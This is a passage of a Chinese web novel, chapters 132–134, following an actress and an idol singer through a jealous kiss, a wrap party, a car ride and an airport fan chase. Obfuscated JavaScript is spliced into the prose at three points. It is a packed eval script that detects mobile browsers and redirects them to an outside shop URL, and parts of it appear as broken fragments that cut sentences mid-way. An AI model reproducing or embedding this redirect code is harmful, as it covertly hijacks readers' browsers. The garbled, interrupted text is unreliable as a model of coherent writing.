他自虐般地,视线死死盯着紧贴的两人,甘惊鸿每句话都堪称一把刀,刀刀往心口捅。 他们的姿势动作如同一幅刺眼的画,反复刺痛脆弱的眼球,他却始终不肯眨眼。 他身体微弓,两手十指交叠抵在唇边,反复地、狠虐地扣弄着唇边的皮肉,好似扯得痛了才能让他好受些。 讨论过程只有不到十分钟,萧子重却觉得漫长得过了一个世纪那么久。 终于,导演坐回监视器后,演员就位,工作人员清场。 “action!” 表演开始,萧子重粗重的呼吸反复扑在手背上,他启唇含咬住抵在唇边的指节,借用这动作缓解焦虑。 旁边有个女孩慢慢过来,试探性地挡了下萧子重的视线,他下意识蹙眉,偏头想绕开,女孩对他笑了笑,“你好,你是X男团的萧子重吗!?我刚才就看见你了,我超级喜欢你们的,近距离看你感觉更帅了,能给我签个名吗!!?” 萧子重眼也不眨地继续看着正在拍摄的场地那边,有些冷淡地随意应了声:“可以。” “谢谢!”女孩拿出纸笔递给他,激动地说了许多支持的话。 萧子重始终没分心,目光没偏移半点,瞳孔锁定着甘惊鸿的身影,他连看也没看那张纸,大笔一挥签下名字,递还回去,还没忘了说“谢谢喜欢”。 女孩离开,萧子重又维持着刚才的姿势继续看他们的吻戏。 不认识甘惊鸿的人,单看外表常会误以为她是个随和,性子软的人,可其实她是非常有自主意识的,她认定要一遍过,就铆足了劲去做。 她与男演员穿着干练的服饰,对坐在沙发上,情绪先从两人看见那份项目策划书开始渲染,循序渐进。 甘惊鸿饰演的卢臻真情假意掺半,她装出自愿放弃的神情,落寞却强撑着笑,向男演员饰演的赵原说:“你拿走吧,我比谁都知道你为了这个项目费了多少心力,输给你,我心甘情愿。” 赵原不敢置信地抬头,注视着她久久说不出话,喉间有些哽咽:“不,不,是你先拿到的。我还是...慢了一步,是我输了才对,恭喜你,卢总监,我会退场离开。” “......离开?”卢臻眼眶微微泛红,她抬手装作顺头发地擦了擦眼角,回头注视他时,却还是带着一丝哭腔,“你要去哪儿,你想去哪儿,我们争了斗了这么久,胜负还没分出来,你说什么退场!?你问过我吗?” “我不允许!” 情绪到这完全渲染到位,赵原率先倾身过去,卢臻闭眼迎合,只是在情到浓处时,卢臻眼睛掀起一条缝隙,漏出些胜券在握的冷光,她嘴角轻勾,抬手推着赵原的肩膀将人完全压在沙发上。 甘惊鸿全神贯注饰演角色的同时,耳朵灵敏地去捕捉周围的声响,刚才的吻戏被萧子重打断,那这次呢。 他还会继续打断吗? 她将对手男演员压制在沙发上,两人吻得难舍难分,心思却全然溜走,落在那个旁观的人身上。 心里好像是期望他会打断。但真的打断了,她又会觉得他不尊重她的演员职业。 吻戏持续了几十秒,那边还没有反应。 他没打断。 身体陡然失重,心底空落落一片,她忽然丢失所有情绪,一下不知道该怎么将这场戏演下去。 好在导演拍完想拍的,及时喊了卡。 甘惊鸿僵硬地坐直身体, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他们同在一个剧组,日日夜夜的陪伴拍戏,天天接吻对戏,互相在一起的时间比他和她的都要多,万一,万一产生情愫...... “前辈?”甘惊鸿弯下腰,离他更近了些,放大的脸莹润清秀,“你走神了吗?” 世界上有种可能叫‘假戏真做’。 萧子重上抬的眼带着些许可怖的血丝,一想到那个可能,他便无法自控地猛然起身,在甘惊鸿吓得后退半步时,他飞快而精准地攥住她纤细手腕,力道难以控制的加大。 “前辈——前辈!?” 他一言不发地拉着她径直走出客厅,穿过会客厅,一路上不少人都投来目光,他全然无视,一路将她带至电梯轿厢,门闭合,他摁下5楼的摁键,呼吸急促无序,他手里牢牢攥着她才能安下心。 电梯的光滑轿门映出些他们的身影,甘惊鸿没有挣扎,只是任由他拉扯,她惊慌的小口喘气,在楼层上升的间隙,低声问了句:“你要带我去哪?” 叮——电梯抵达五楼,门一开,是开放式的客厅,视野极佳,将这座别墅山庄的风景一览无余。安静的氛围让萧子重情绪稳定片刻,他这才回头深深凝视她一眼。 “探讨演技。” 啊? 甘惊鸿卡壳了一瞬,没跟上他的思路。 脸黑得能刷漆,拽着她手腕的力道勒得她生疼,他脸上的神情是她从没见过的凶,都这样了....居然是,探讨演技? 她没由来地失望。 直到她被人摁坐在棕咖色的皮质沙发上,晃了晃神的间隙,萧子重长腿一曲坐在她对面的茶几边缘,身体比她高出一截,却又不会让人感到压迫感。 落地窗外的庄园绿植郁郁葱葱,天色渐黑,青翠的植物遮蔽出大片看不清的阴翳。这处开放型客厅也是,昏暗得只能模糊辨认出轮廓,萧子重却没开灯的意思,只是与她这么对坐着。 她看不清他的脸,只好顺着‘探讨演技’的话题,揣摩着说:“我刚才演得很好吧,无可挑剔。” 手腕上带着薄茧的掌心松开了些,虚虚地圈着,没完全放手。 她听见他极轻微地带着气音的笑,分辨不出情绪,音调低得像是从胸腔里传出来的声音:“确实,演得好极了。” 那还有什么可探讨的? 没想到他会顺着说,甘惊鸿张了张嘴,不知道该说什么,只好又闭上。 气氛微妙的沉默,安静,静到只能听见对方的呼吸,有时掺杂着几拍过快的心跳,分不清是谁的。 他的手从手腕的位置往下滑了一段距离,温热的手掌半环着她的手,手指交错轻碰,带起细密的痒意。 她无意识地摩挲指缝,想缓解那些痒,却像是主动去碰他。 萧子重沉沉地呼吸了一下。 像蛰伏的顶级掠食者在黑暗里喘息。 “我,我最近拍这部剧,有很多人喜欢我和田老师的cp戏份,”甘惊鸿小心翼翼地在他面前走,踮着脚尖,去触碰他的胡须,轻轻拉扯,“欢姐问我......要不要炒CP热度,营销一下‘惊心动魄’......” 她知道。 知道她和那个人的CP名。 她看过多少剪辑视频,也会觉得般配么。 她看过成千上万的嗑CP评论吗,也认同那些话吗。 甘惊鸿,你再说一句...... “...你怎么想的。” 他问,在她要回答的时候,从茶几上起身,将她两手牢牢压制在身体两侧,他身体半弓起,前倾着将她往后压,直到背部紧贴在沙发靠背上。 甘惊鸿才发觉自己被圈在他的身体范围内。 她眼睫极快地颤抖着,语调也发飘:“我,我还没,想好。” 话音落下的那几秒是漫长而真空的,一切声音消寂。 紧接着,沙哑而笃定的两个字落下,紧贴她耳廓滑进去。 “撒谎。” 她呼吸陡然一停。 她布设的陷阱太过明显,想让他就这么跳进去? ......不得不说,她成功了。 吻戏本就让他处在失控边缘,他费尽多大的力气才竭力克制住冲动与欲望,她却天真无知地跑来,再三撩拨起他嫉妒的火焰。 你到底想怎么样。 让我弄坏你么。 她有意激起他的情绪,那他就如她所愿。 萧子重抬起手,学着她下午对戏时的动作,轻轻抬起她下颌,指腹摩挲那块细嫩的皮肤,即使环境昏暗,甘惊鸿仍能感觉到,他灼热的视线落在唇瓣上,每寸唇肉被视线碾过。 她紧张地吞咽唾液,听见他审讯般地质问:“下午,为什么装作不认识我。” 甘惊鸿没想到还有这茬,她呆滞几秒,结结巴巴地解释:“我,我怕奶奶误会。” “误会什么?” “......” 她不说话,心口狂跳不止,脑袋里混混沌沌一片,完全丧失思考能力。 她胡乱扯的理由,也不知道怎么圆,只能硬往下编:“...误会我们——唔!!??” 柔软的唇被湿热的唇深深含吮住,她下意识睁大双眼,在模糊的视野内看见萧子重凶狠的、带着吞噬欲望的眸色,皎洁月光下只能窥见一隙。 舌尖探入口中,撬开齿牙,湿黏的水声响起,舌根被紧紧纠缠无法挣脱,口中唾液极快地被卷走,清晰的吞咽声不断响起。 她眯起眼,口腔的液体快速流失,吞咽都变得干涩,困难。 “唔唔!唔~”甘惊鸿抬手锤他肩膀好几下,才得到片刻的喘息时间,落地窗外落进柔和清皎的月色,尽数铺在他们身上,唇与唇微微分开,拉扯出银丝,萧子重侧过脸,伸出舌尖缠绵勾去。 她羞耻得缩在沙发里,一句话都不好意思说。 手却很诚实地搭在他的背肌上。 萧子重高挺的鼻梁抵着她柔嫩的侧脸,他们额头互相抵着,他眼睫蹭过她的眼睛,带起些细密痒意。 “...还记得我下午说过什么吗?” 甘惊鸿大脑一片空白,她只慌乱地眨了几下眼睛。 在吻再次覆盖上来后,她想起来了。 ——我什么都教得会你。 ...... 发布在某书的【crush】帖子里,有一个评论这么说: 【这么纠结,干脆在下一次见面的时候,直接吻她,你就会知道你得到的是一个巴掌,还是一个拥抱。】 133. 萧子重是胆小鬼 “嘭——哗啦!” “恭喜甘老师杀青咯!” “恭喜恭喜,杀青快乐!” 最后的镜头补拍完毕,监视器前放着礼花炮,彩色碎片飘落着如一场春日雪。 甘惊鸿不太适应这么热烈的杀青欢送,塑料彩片落在发间肩头,她局促地缩着肩膀接过一捧花束,嘴里连声道谢,抿着唇笑,眉眼弯弯。 ‘卢臻’这个角色是性格偏强势的人,甘惊鸿脱离出角色状态,便与‘卢臻’的气质渐渐脱离,如果是‘卢臻’,接过花束时,不会缩着肩膀,而是大方地笑。 这说明她能比较熟练地做到角色与自我分离。 萧子重没个正型地倚靠着墙边,神色却专注地凝视她脸上的细微表情。 剧组人员推着杀青蛋糕欢呼着靠近她,将蛋糕刀递到她手中,塑料刀落在奶油裱花上,微一用力,奶油便跟着凹陷下小小的弧度。 她舍不得松开那捧花,一只手将蛋糕切割数块,助理配合着将蛋糕一一装碟,先送去导演、编剧那边,接着再是常常忙碌的道具组,场务。 蛋糕已经切完,她却仍握着蛋糕刀不松手,护着最中心的裱花精美的那块蛋糕。 等周围人都吃上后,她才借着手臂与身体的力道夹住花束,空出手,小心翼翼地,生怕弄坏上面的奶油花,将最后一块、最中间的那块蛋糕放置在餐盘里。 她一手端着薄的如同纸一样的餐盘,一手抱着那束花,慢慢走到萧子重身前几步远的位置。 甘惊鸿直视他,带着小小地雀跃,手中的蛋糕送到他面前:“喏,为了感谢前辈的‘悉心指教’,我特意留了一块最甜的蛋糕,要尝尝嘛?” 萧子重凝在她脸上的目光因为这段话微微晃动。 尤其是‘悉心指教’这四个字。 意有所指地点出昨晚他冲动莽撞的深吻。 昨晚他压着她不知节制地索吻,唇几乎被磨得破皮,他唇上现在还有些擦伤,她唇边一圈更是红得厉害,用粉底遮了两三层才压下去。 后面还是她助理的电话打来,才将缺氧到意识昏沉的两人强行叫醒。 他费力地将视线从她脸上移开,落在她端来的蛋糕上。 她护食般地,从头到尾护了半天,原来是给他的。 不安躁动的心高高悬起,此刻才算落下了一些。 不是给她的那个CP就行。 想到这,萧子重下意识、快速地往她身后看了眼,轻飘飘地扫过她那个CP。 那男的似有若无地往这边看,盯了半天。 没安好心。 他一眼就看得出来这人的心思不正,趁着拍戏的间隙对甘惊鸿明里暗里的撩拨,卖弄姿色,不就是想因戏生情,让她对他产生不正常的情感依赖。 真恶心,真卑鄙。 这种手段,他在话剧后台见识得多了。 他收回视线,在甘惊鸿困惑眨眼地直视中,没有接过蛋糕,反而突兀地伸手接过她抱着的花束,甘惊鸿不解地叫了他一声:“前辈?” “喂我吃。”他这么说。 “啊?” 甘惊鸿只觉得大脑被什么轰了一下,嗡嗡直响,眼眸瞪得大而圆,呆愣得可爱,她无意识地轻晃了两下头,以为自己神经错乱而导致幻听。 “您,您说什么?” 她到现在还带着尊称。 是忘了改,还是不想在外人面前暴露他们的关系。 他轻咬了下后槽牙,两颊微微凹陷,面色不变,挑眉一字一句地重复道:“喂我吃蛋糕。” 她还真没听错。 甘惊鸿手僵在半空,不禁歪题想,之前连回消息都是爱答不理的人,是怎么转变成这样的? 以及昨天的吻,她后半夜失眠地翻来覆去,有了个大胆的猜测。 ——萧子重吃醋了。 她以为,他对她一直是正常的爱护晚辈的态度,她借着这点方便,一点点地在他的界限边缘反复试探。 却没想到,原来他也...... 她迟疑犹豫的动作惹得萧子重眉心拧起,他胸腔重重起伏两下,随即带着些不满地快速伸出空着的手,稳稳地攥住她手腕。 他引导着她的手,半强迫地让她执起小小的塑料叉,温热带着薄茧的手心摩擦着她手背的细腻皮肤,那块最中心的奶油花被挑起来,送至萧子重唇边。 他一早就俯下身等着了,左臂里的粉色蔷薇花束衬着他凌厉分明的下颌,反差鲜明。 奶油花一送来,他便抬眼深深凝视着她,眼底的情绪是从未见过的暗流涌动,如同地心引力让人无法脱离。她只能怔怔看着他。 他缓慢地、刻意地放慢动作,好似在拍一幕慢镜头,连眼睫眨动的瞬间都被慢放,他启唇,含住那朵花,舌尖微微探出唇边,花瓣含入口中后,唇边染上些微的白奶油,他先是抿着口中的奶油,喉结微滚地咽下去。 他神情略作停顿,像是在回味。 接着,又再伸舌将小小的塑料叉含住,意犹未尽地含住,往后轻抿,带动着塑料叉往前,她的手也被迫跟着往前移了移。 甘惊鸿下意识用力往回拉,叉子从他口中抽出——被抿得干干净净,她莫名咽了咽唾液,干净光滑的塑料叉好像新的,她眼神微动,盯着他的唇看。 “挺好吃。” 他扬眉评价道,颈间的喉结反复滚动。 他松开她的手,继续不紧不慢地将唇边剩余的奶油舔干净。 甘惊鸿心绪不稳地收回手,掩饰着情绪垂下头,捏着叉子的指腹泛白,反复地戳着纸盘里的小小蛋糕。 这一番下来,周围本在交谈的剧组人员慢慢地没了声,安静得连衣物摩擦声都听得清楚。 萧子重舌根的甜腻久久不散,他目光略过她的发顶,朝场地里的那个男的投去嚣张的一眼。 眼眸微眯,唇角勾起个轻蔑的弧度,明目张胆,狂妄至极。 【别想动我的人。】 - 剧组人员正有序的收拾道具离开萧宅。 大型摄影机由几人联手搬离,萧芸笑着与导演团队送别,等人走完,她转身回到茶室,甘惊鸿与破孙子坐在茶桌旁安静地喝茶。 甘惊鸿换回了个人私服,微喇针织上衣配修身牛仔裤,脚上一双马丁靴,气质比拍摄时要更青春活泼些。 萧芸怎么看怎么喜欢,笑容满面地让人又上了七八样茶点。 萧芸转眼看见旁边眼珠子要黏在甘惊鸿身上的破孙子,笑容一敛,像看见什么不干净的东西,沉重地轻舒了口气。 “等下就吃晚饭了,你们今天就要走啊?”萧芸走到木椅旁坐下,依依不舍地看着甘惊鸿,“戏也拍完了,多休息一下,养养精神才能再演好下一个角色呀。” 甘惊鸿受宠若惊地笑笑:“我体力好得很呢,可以连拍五个大夜都不困,奶奶放心啦,如果您不嫌打扰的话,我以后经常来找您玩啊。” “说什么打扰不打扰的,我一个老婆子无聊死了,追剧都没人跟我一起,你在A市哪里住啊,”萧芸问,“回头我收拾收拾搬过去,这样就可以经常碰面了。” “我在——”甘惊鸿刚要脱口而出,萧子重顿时重重咳嗽几声打断,他低头暗暗给甘惊鸿使了个眼色,随即仰起头插科打诨,“奶奶,你别给人家太大压力了,她还在演员的上升期,经常拍戏到处跑的,就算搬去A市,你也看不见她人影啊。” 甘惊鸿后知后觉地回过神来,一个劲地点头。 萧芸瞪了萧子重一眼:“就你话多,跑来跑去不还是要回家,我就搬去她家附近做邻居,这样呀,就能经常见面啦,也省的你还要特地来这边找我。” “行行行,您歇着吧,我回头多关照关照她,”萧子重动手来回倒茶泡茶,给两人的茶盏倒满,嘴里也不停,“您一把老骨头了也不嫌折腾......” 甘惊鸿笑笑,端起茶杯连灌几口,掩饰着脸热。 她眼珠子乱转,愈发感觉自己好像被吃准了似的。 晚饭时,这股感觉更清晰。 餐桌上摆了一圈她爱吃的菜系,她口味偏淡,桌上的粤菜江浙菜混着上,萧子重与萧芸分坐她两侧,一个盛饭,一个夹菜。 “吃点这个,唉,看你瘦的,小姑娘家家的太瘦了身体不好。” “尝尝这个,吃饱了才好继续学习表演。” 她手忙脚乱地道谢,菜饭全吃得干干净净,最后打了个长长的嗝,摆摆手:“奶奶,前辈,我真吃不下了。” 萧子重抬腕看了眼机械表,时间差不多,他主动起身去搬两人的行李到车上,还体贴地让甘惊鸿休息会,消消饱。 这么主动,萧芸琢磨出一丝不对味来,她七老八十了,什么风雨人物没见过,俩人这不见外的默契感,令她不由得眯起眼睛笑。 回来那天还叫着不相亲,摆得模样没个正形,才接触一天,就这么主动了。 这事儿能成。 等行李搬完,萧子重拍拍手上灰尘,去洗手间洗了手,出来时甘惊鸿已经坐上了车的副驾驶位,萧芸在车外絮絮叨叨地交代着。见萧子重出来,萧芸将他拉到一旁。 “你这两天不对啊,”萧芸目光如炬地瞧着萧子重,看得他额头直冒汗,“知道人姑娘好了吧,你这两天上赶着的样儿还真是头一回,真香了吧。”她学着年轻人的语调说。 萧子重无奈地辩解:“我只是把她当成晚辈照顾,这不您说的吗,让我多帮帮忙,哪儿来的真香,好了好了,您快回去吧,我们得去机场了。” 他回身上车,坐上驾驶位,萧芸在车窗外热切地挥着手:“开车注意安全......” “放心吧奶奶,您早点回去休息。” 车渐渐开远,直到看不清后面的人,车内的两人皆松了口气,随即又紧绷起来。 萧芸在的时候,他们一个比一个会演,一个比一个会装。 甘惊鸿一口一个前辈老师,礼貌客气极了。 萧子重一声一句小甘妹妹,腻味的要死了。 此刻两人再次独处车内空间,隐秘的暧昧氛围幽幽从缝隙里钻出,瞬间占据他们的心神。 甘惊鸿侧脸看窗外风景。 萧子重目视前方车流,两手压在方向盘上,小臂青筋蜿蜒得明显,他的手时而挠挠侧脸,时而擦下鼻梁,借着这些动作往副驾驶瞥去几眼。 车窗外有什么,那么好看吗。 他轻咳两声,眼神在车前方来回移动,就是不看她那边:“这部剧拍完,要休息一段时间吗?” 他不看她,她也不看他。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他抬手解开束缚身体的安全带,眼神紧盯着她一眨不眨,好似野兽正在挣脱绳索,莫名地有种危险感,甘惊鸿下意识缩了缩脖子。 萧子重调整车座靠背,手撑在一侧,上身朝她那边笼罩过去,他单手稳稳捏住她下巴,拉近距离,两人的脸只隔了分寸。 甘惊鸿紧张地吞咽唾液,心口扑通扑通跳,眼睛紧盯着他。 “不会怎么样......”他重复着她的话,带着薄茧的指腹摩擦过下颌,带起细密的痒意,“你知道圈内有多少因戏生情的演员,以为自己爱上了对手演员而在一起,结果其实是喜欢那个剧本角色,喜欢表演出来的假象,而不是对手演员。” “你们一起营业,时间久了,接触久了,就算不是真的也会——”话到后面,萧子重说不出来,他目光落在她紧抿的唇瓣上,呼吸粗重。 “前辈,”她忽然启唇,清白无辜地说,“我好像,记错了。” “......什么?” 甘惊鸿眼眸弯成月牙,卧蚕托着那双笑眼明亮澄澈,只是笑意里带着些坏:“欢姐安排的活动只是剧宣街演,嗯...最多还有些综艺节目的宣传,其他的好像暂时没定。” 她说得轻巧,好似一切在心里早有答案。 萧子重瞬间怔住,颇有气势的眸色与强势被轻而易举地吹散,溃不成军。 记错了? 他明明看见她眼底的狡黠。 她是故意的,她又在给他布设陷阱。 他愣住的间隙,甘惊鸿抓住他薄弱的地方,穷追猛打。 “是我记错了。” “前辈,你很在意这件事吗?” “是,为什么呢?” “你不想让我和田老师炒CP吗?” 她反击得迅速,一个接一个的问题砸回来。 捏着她下颌的手渐渐松开,甘惊鸿的眼睛在他手上缓慢地转过一圈,她的演技大有进步,视线像狗尾巴草一样轻轻挠过手掌,他痒得蜷了蜷手指。 视线一转,与他怔愣的眼眸对上。 两人的记忆瞬间闪回昨天的深吻。 他可以吻她。 甘惊鸿想。 但吻是有意义的,它是来自于冲动,不满,掠夺,还是——嫉妒,喜欢,覆盖。 他喜欢她。 她确定了。 在甘惊鸿启唇,准备将这点直白地戳破时,萧子重身体缓缓移回原位,他避开她干净明清的眼眸,紧绷着下颌启动车身,将座椅调回原位,束上安全带。 甘惊鸿所有话语被这些动作堵了回去。 萧子重踩下油门,车子继续行驶,她侧坐着,一言不发地盯着他,倔强而别扭。 她差一点就要逼他说出来了。 萧子重被她盯得浑身不适,他逃避似的,不敢看她一眼。 “坐好,马上要到机场了。”说着,还想调和一下气氛,“再盯着我看,我也不会开花。” 甘惊鸿重重地吐出呼吸,本来要成功的神情一扫而空,抱着手臂彻底转过身,对着车窗生闷气,理都不理他。 车窗倒映着萧子重深邃的脸,她随手摸了只口红,对着车窗上的脸画鲜红色的叉,画扭扭曲曲的丑脸,最后在边上写了一排小小的字—— 【萧子重是胆小鬼。】 几个小时的车程中,甘惊鸿不知不觉地睡了过去,萧子重才敢往她那边看。 夜色渐浓,车窗上映着他们交叠的脸,歪歪扭扭的口红画显得滑稽可爱,他出神地看了片刻,单手拿起手机,镜头焦距放大,无声地拍摄下这一幕。 她和她的喜欢,就被定格在镜头里。 134. 都别想跑 飞机落地A市。 机场大厅,不知哪位粉头得到消息说今日虹桥机场有明星出没,几个消息灵通的站姐扛着单反大炮提前蹲点。一些粉丝也早早赶来等人。 找明星实在太简单,戴帽子墨镜口罩,全副武装的准是。 机场几个出口前都围满了人,不少粉丝戴起应援头箍,举起横幅准备接人。 不多时,机场里走出全副武装的两人,该佩戴的标志性服饰一应俱全,眼尖的粉丝瞧见顿时激动不已,蹦蹦跳跳地向全世界宣告:“啊啊快看——是哥哥,哥哥出来了!!” “什么哥哥啊,才不是呢,是我们家姐姐!!” “你睁大眼睛看清楚,那明明是我家哥哥!旁边的是他助理。” 两个粉丝为出口里先走出的是谁而争执着,旁边其他家粉丝拉架:“别争了,好像都不是——唉,你们是谁家粉丝来着?" “萧子重!” “甘惊鸿!” 拉架的粉丝哦了一声点点头:“那我们都不一样。” 那两个粉丝也愣了:“你接谁啊?” “宫欢!” 机场左右两边入口开始走出大量旅客,各家粉丝们拥挤着竞相抢占好位置,好能在第一时间接到自家姐姐/哥哥,横幅举牌纷纷举起,如同一片浪潮海洋。 甘惊鸿和萧子重是一同下的飞机,只是在VIP通道走到一半时,萧子重忽得想起宫欢的提醒。 她没日没夜地到处在微信群消息里发“出行必须遮盖严实,经过人多的地方时与身边同行人保持距离”的消息提示,基本上每天三遍,再三警告提醒。 他脚步一顿,甘惊鸿也想到同样的问题。 两人迅速从随身背包里拿出全套装备,从头到脚穿戴完整,接着商量由甘惊鸿先走出去看看情况,萧子重隔十分钟再出去。 两人确定战术后,甘惊鸿戴好墨镜,低着头径直走出出口。 她双手环在身侧,紧跟其他旅客身后,装作是同行的人,迈出通道口那刻,门外成百上千的一道道注视狠狠望来,在走出的每个人身上精密地扫过一轮。 甘惊鸿硬着头皮往前走,脚步僵硬得像是刚学会走路的木乃伊。 别发现我,别发现我。 她心底默念,闷头紧跟前面一个中年男子,借着对方的身形掩饰自己。 围栏外的人群里交谈声嗡嗡作响,众人都等得久了,有些人焦躁地探头探脑,恨不能当场抓一个人就是本人。粉丝们互相之间交头接耳地聊着: “怎么还没出来啊,我看消息说是这个点啊。” “你们消息是不是错了啊,今天机场只有X男团的萧子重。” “不可能,你才错了,我们可是有剧组内部消息,说甘惊鸿是今天的飞机回A市,我们都蹲了一天了。” 甘惊鸿将这话听得清清楚楚,蹑手蹑脚的动作顿了一顿,不自禁抬头往说话的粉丝那边投去一眼。 就这么轻飘的一眼,好似有心灵感应般,她对上那位粉丝的眼角余光的视野范围,只见粉丝凝神注视过来,只判断了一秒,便大喝一声:“甘惊鸿!!我认得你的眼睛!是你!” 被叫到的人缩了缩脑袋,像是偷跑被逮了个正着的心虚,她慌不择路地绕开人形挡箭牌,脚下生风地往前一路小跑。 “快看,是甘惊鸿!” “甘惊鸿!!啊啊啊啊姐姐我爱你,我是你的狗!!” “卢臻!!卢臻扇我!!” “惊心动魄冲啊!!” 她一跑,身后的一行人也跟着紧追,边追边喊叫着各种不堪入耳的话。 一群人被带离通道出口,剩下的其他粉丝忍不住互相吐槽:“至于吗,她们cp粉怎么那么疯啊。” “就是啊,我们才不会这么狂放呢,我们都是很收敛,很克制,静静的喜欢——啊啊啊是哥哥!!哥哥!!!” 另外一边的通道走出头戴鸭舌帽,背着单肩挎包的青年,他身形高挑,气质出尘,远远地打眼一看便能看出他与其他人的图层不同。 有些粉丝朝他这看来,嘴里喊叫着,纷纷前拥后挤地往这冲,嘴里撕心裂肺地喊叫:“奚亭云!奚亭云,啊啊啊啊是奚亭云,求你剖我的心吧,我愿意给你!!” “写我名字!写我的,我愿意上生死簿!!” “好帅嗷嗷嗷,真人比电视上更帅了!” 奚亭云脚步微顿,他侧头看了眼躲藏在行李箱后装作物体的宫欢,没有任何思索,转而朝另外一边快步走去。 粉丝们马不停蹄地跟着他跑。 两人都带走了一部分人。 藏在出口通道内的萧子重揉揉发酸的耳朵,小心翼翼地探出点头,见接机的人疏散不少,才放心地走出几步。他拿起手机给甘惊鸿发消息,说机场外汇合。 消息还没发出去,前方有几个人眼尖地瞥见他——实在是他那身皮衣皮裤太显眼,肩宽腰细腿长的超黄金比例,任谁看了都忍不住多停留会。 即使萧子重头上包得严严实实,只露出些鼻梁骨,却仍被细心的粉丝发现,指着他喊:“萧子重!我终于蹲到萧子重了!!” !!糟糕! 他长腿还没迈开,便慌忙大步朝前快速走动,身后一群粉丝也是穷追不舍的。 来来回回好几拨人被他们带着到处跑,难免有几个落下的。 宫欢本来躲得好好的,超大号行李箱的主人莫名地瞪她一眼,而后拖着行李箱走人,她被孤零零地留在原地,蹲在那活像个蘑菇。 恰巧她今日戴的墨镜镜框上也有只红色毒蘑菇,她无奈站起身,想看看哪个机场出口最为安全。 一些落了单的粉丝迷茫地四处找队伍,情况太过混乱,一下子出现好几个目标人物,她们都不知道要跟着哪边跑。 其中有人耳聪目明地瞄见那大名鼎鼎的、全网都为之震颤的女人——宫欢。 “快看那是谁,宫欢!” “宫欢!?她在这,那X男团肯定都来了!!” “三鬼将啊啊啊我带了他们的海报!” “宫欢!宫欢,奚亭云在哪啊!——安声呢,安声在哪!?” “萧子重在哪啊!?” 宫欢才刚站直了身体,就看见前方迎面扑来一群叽叽喳喳的人,音调大的一声更比一声高,疯狂追问她其他人去哪儿了。 她往后退几步,两手摆在身前,惊恐不已:“别别别过来啊,我不知道,我跟他们不是一个航班,诶诶诶别别过来啊——!” 她那点声音刚出口便一下被吞没在人山人海的呼喊里,撕心裂肺的喊叫让人耳边嗡鸣阵阵。宫欢揉着发酸的耳朵,一个闪身躲开粉丝的扑抱,她极有经验,绕着一群人左躲右闪,老鹰捉小鸡似的拖延一群人的追击。 等手机传来提示震动,她才冲进电梯狂戳着关门键,在粉丝扑过来前顺利关上了门,喧闹吵嚷的呼喊声瞬间被隔绝在外。 透明的玻璃电梯外四面八方地趴着一张张人脸,不停地拍打着,人声隔着轿厢传来,闷闷地像蚊子声。 宫欢这会没在怕的,她朝电梯外众人笑,接着做了个小小的鬼脸。 距离最近的几人看见后,更是疯狂拍打电梯门叫她。 随着电梯缓缓下降至-4层,电梯门外的明亮光线逐渐消失,进入地下范围,叮的一声,电梯门开启,门外站着一道身影,全副武装只有偏冷白肤色的一截脖颈露在外面。 他转过身,气息不稳,略有些狼狈:“还好绕开她们了。” 宫欢则拿出车钥匙在手指上晃,她步伐稳当地走出电梯门,颇有经验地教他:“多练练,以后还要经常坐飞机呢,躲开粉丝可是门必修课程。” 她没走两步,奚亭云身后出现瘫坐在地上,和弯腰撑着膝盖喘气的两人。 萧子重喘得如同破风箱呼哧呼哧:“我,我,她们也太能跑了!追得我简直是夺命狂奔啊,一个个都是运动员好苗子,做什么粉丝啊。” “我也没想到,”甘惊鸿头上的帽子都跑歪了,气喘吁吁地吞咽唾液,“居然有这么多人喜欢我,就是喜欢得有点吓人,我现在有点晕、晕人了。” “行了,躲开就行,谁让你们刚好都在同一天回来,也不知道是谁把消息泄露出去的,”宫欢心虚地抬手擦擦鼻尖,低咳一声,径直走到停放在车库的私家车旁,拉开驾驶位车门,抬腿扭身坐了进去,“上车,我载你们回去。” 三人点点头就准备上车,而刚拉开车门时,似乎都后知后觉地想到一件事。 “......要不我来开车吧。”萧子重提议道,他站在车门边迟迟不坐进去。 “我,我也可以。”甘惊鸿乖乖举手。 “我只会开电三轮。”奚亭云直白道。 宫欢将三人看过一眼,慢悠悠地带上车门,启动车身时撂下一句话:“哦?你们确定等下能甩掉跟车的粉丝和狗仔吗?” 几人顿时沉默。最后还是默默地认命上车,系好安全带,做好心理准备,默念:希望到地方胃还健在。 -< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126425|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>车身一路飞驰疾奔,宫欢面色淡定地操控方向盘灵活的飘逸打转,甩掉跟路的狗仔们。 后视镜映出她清丽恬静的面容,她性格张扬嚣张,平时化过妆更显明艳动人。 今天是素颜,带着复古红的鸭舌帽,好似午睡的猫,张扬的气势被暂时收敛起来。 奚亭云坐在后排,随着车身的漂移,单手紧抓扶手,目光却毫不偏移。 威亚事件后,导演也诚恳道歉了,说高空镜头拍得已经足够后期剪辑,奚亭云后续拍摄了一些前期的剧情内容,才迎来杀青。 宫欢是想带着他直接离开剧组,彻底罢演的。 她那时紧攥着他冰凉的手,语气里的哭音让人心脏阵阵作痛。 她说你别演了,我不缺这一个角色给你,我给你找替身,以后所有高空戏份都让替身来。 她说,你别逞强了,不要命吗。 找替身是大部分演员都有的一项选择,平常,合适。 他没必要坚持什么,可奚亭云就是摇了摇头。 他说,“我不能留下任何可以给别人诟病的机会。” 奚亭云可能不懂演戏,可他懂舆论风向。关于一个小明星的任何问题一旦被发现,挖掘出来,就会被钉在耻辱柱上,没人会在意原因,大家只知道你做了这件事。 再者,他不想连累宫欢。 